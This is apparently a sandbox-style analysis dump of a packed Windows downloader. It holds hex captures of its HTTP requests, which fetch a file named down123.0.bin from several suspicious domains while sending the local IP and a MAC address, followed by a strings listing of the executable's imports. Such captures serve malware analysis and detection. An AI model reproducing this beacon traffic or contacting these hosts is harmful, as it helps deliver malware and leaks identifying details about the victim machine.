0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....


Strings
.
[.F
.
.h...
.

080404b0
1, 0, 4, 605
Comments
CompanyName
FileDescription
FileVersion
InternalName
LegalCopyright
LegalTrademarks
OriginalFilename
PrivateBuild
ProductName
ProductVersion
SpecialBuild
StringFileInfo
Translation
VarFileInfo
VS_VERSION_INFO
 (08@P`p
0Cnm<H
1eUIfz
1g}[osk
1rTz^0)U
2@/$G1
*2s y3
2:?y~	
3Ib|	g
=4-0f0
4K(I0W
[5	7H5p,M
$'#5*e
6azd;p9^
6j6o4e~
^6nUmb
}6/tB#
:>9A5r
9kp1|jjF
a7PZPc
^_A7Y_
aBH>Ikh
.adata
advapi32.dll
AEPjgfE
A(`-gDyL
A~pTI|m
.aspack
~/B?8;
b%	K".
 bmr8Y
b Pw`2
bQ-G;fa;P
`BQql,j[
by`j%c
ClKW=.tz
cNMvJx
Cn%nqD
C@|q9\n
C*$R5u
cRTR]9
D$5(!x
DispatchMessageA
down123.0
DZaU#{[0
ebjQa0
e,oU+"Tj
ExitProcess
e#xt*U
FdaIP&
F_`~jL
FlYn;7z&0
G2|0me2
G|!= B
GDSe$aU
GetAdaptersInfo
GetModuleHandleA
GetProcAddress
GXwD#~
gYV$m9VF]
`[]h!6
h75X%wD
Hr<5lo
H[se[]k
(hwsj 4
HY&6e,
IeQiYizt3Gf]
(\iFc\
InternetCrackUrlA
iphlpapi.dll
i);/Wa
i;y	q<
j*B%Y;
jEueiM
jfj{1O
J-m\rPbe
J;pbK(
)K"-DGA
kernel32.dll
KeZ~ni1;
K.`M])
)? +}kN
koAgagxJ
L%-APb
LOADER ERROR
LoadLibraryA
L:)Z6_
/M5Q=t'
m:c7zj
MessageBoxA
m}Qy1H
nR{E!>@u
`NS$,]B'
nW*Z]c
NZ*	(#
o4!ZUe
<odrg5mD
"Og\	l
O%vh7Ir
$%pIeG
"plCy=
PNryWkS
PN:t4px
&POL;y
PO$~o_.
Q/"0!U
q.\.Hu+
Q+hVX=
qkf gt
Q!{{R*
!QU(k/4
QXft%^	]A
.rdata
RegCreateKeyExA
#Rn=I1
S3%:Q?@
S=+>5 
sBu=Q+
shell32.dll
SHGetSpecialFolderPathA
shlwapi.dll
SHmvqD
`',Si6(
;sL2? {
Th Ca*
The ordinal %u could not be located in the dynamic link library %s
The procedure entry point %s could not be located in the dynamic link library %s
!This program cannot be run in DOS mode.
T U>v]
u6AQVj
UrlUnescapeA
user32.dll
UZ!,HS|0Tp
v2L5{(@
v8)4B&_'-(
|+vF-9
VgE?I^
vGzJ8M=
VirtualAlloc
VirtualFree
VirtualProtect
VrQ4boM
w0ka#r
#\"w4#
wininet.dll
WQ9~RHX
ws2_32.dll
WS L>&
wsprintfA
,WU+Iv"Z]h
)w@X	C
+,Wx(kZj-
%(-wY38
WZ5)`{W
x7WKH`
XDezb1
(#XF@?"
XH$VPk
X-YZz@F
=`'=Y#
YCaw?G
Yocj1=~2
Z%e1fR
%ZT	K!D
Z'|&Wx